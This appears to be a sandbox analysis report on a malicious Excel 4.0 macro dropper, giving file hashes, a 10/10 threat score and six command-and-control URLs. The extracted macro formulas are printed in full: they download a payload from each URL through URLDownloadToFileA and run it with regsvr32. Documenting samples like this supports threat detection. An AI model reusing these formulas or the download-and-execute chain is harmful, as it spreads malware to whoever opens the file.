General

  • Target

    933fc813f5321f7cf53c0e55357d7f51f7d2fddc2bd36f4d0b53589fc41a8af3

  • Size

    40KB

  • Sample

    241121-aph6qs1mfq

  • MD5

    e370cbe8716f735a56f23bc9a41c7d5b

  • SHA1

    24cd5d913600e14218b342f5de00642c0e7a786d

  • SHA256

    933fc813f5321f7cf53c0e55357d7f51f7d2fddc2bd36f4d0b53589fc41a8af3

  • SHA512

    ae6280c18eb4672a289be54912b67a8275e22a2a4d6f32dde7b5d1403bbcf6507aa6ca2999021cbe261b3e27b1afc377c0e438ece5eb5f90f6813cb8809ea6ca

  • SSDEEP

    768:+tby3nCsqi1O3mnOzyKfcrND59V+L9Rw4eWrXcTqy0y3:mbunC5iymqylND59V4jwmXc2Xy3

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/

http://en.pachammer.com/wp-content/vIG/

http://ghsjalkherabsr.com/oz03n/6XeYLjFXcFE/

http://ghsmadonabsr.com/wp-includes/Of4kQNCp2WLy0F4B/

http://www.aacitygroup.com/wp-content/EkY9/

https://theoutsourcedaccountant.com/images/nFikTQmP/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/","..\xda.ocx",0,0) =IF('EFEGVE'!F12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://en.pachammer.com/wp-content/vIG/","..\xda.ocx",0,0)) =IF('EFEGVE'!F14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ghsjalkherabsr.com/oz03n/6XeYLjFXcFE/","..\xda.ocx",0,0)) =IF('EFEGVE'!F16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ghsmadonabsr.com/wp-includes/Of4kQNCp2WLy0F4B/","..\xda.ocx",0,0)) =IF('EFEGVE'!F18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.aacitygroup.com/wp-content/EkY9/","..\xda.ocx",0,0)) =IF('EFEGVE'!F20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://theoutsourcedaccountant.com/images/nFikTQmP/","..\xda.ocx",0,0)) =IF('EFEGVE'!F22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xda.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/

Targets

    • Target

      933fc813f5321f7cf53c0e55357d7f51f7d2fddc2bd36f4d0b53589fc41a8af3

    • Size

      40KB

    • MD5

      e370cbe8716f735a56f23bc9a41c7d5b

    • SHA1

      24cd5d913600e14218b342f5de00642c0e7a786d

    • SHA256

      933fc813f5321f7cf53c0e55357d7f51f7d2fddc2bd36f4d0b53589fc41a8af3

    • SHA512

      ae6280c18eb4672a289be54912b67a8275e22a2a4d6f32dde7b5d1403bbcf6507aa6ca2999021cbe261b3e27b1afc377c0e438ece5eb5f90f6813cb8809ea6ca

    • SSDEEP

      768:+tby3nCsqi1O3mnOzyKfcrND59V+L9Rw4eWrXcTqy0y3:mbunC5iymqylND59V4jwmXc2Xy3

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks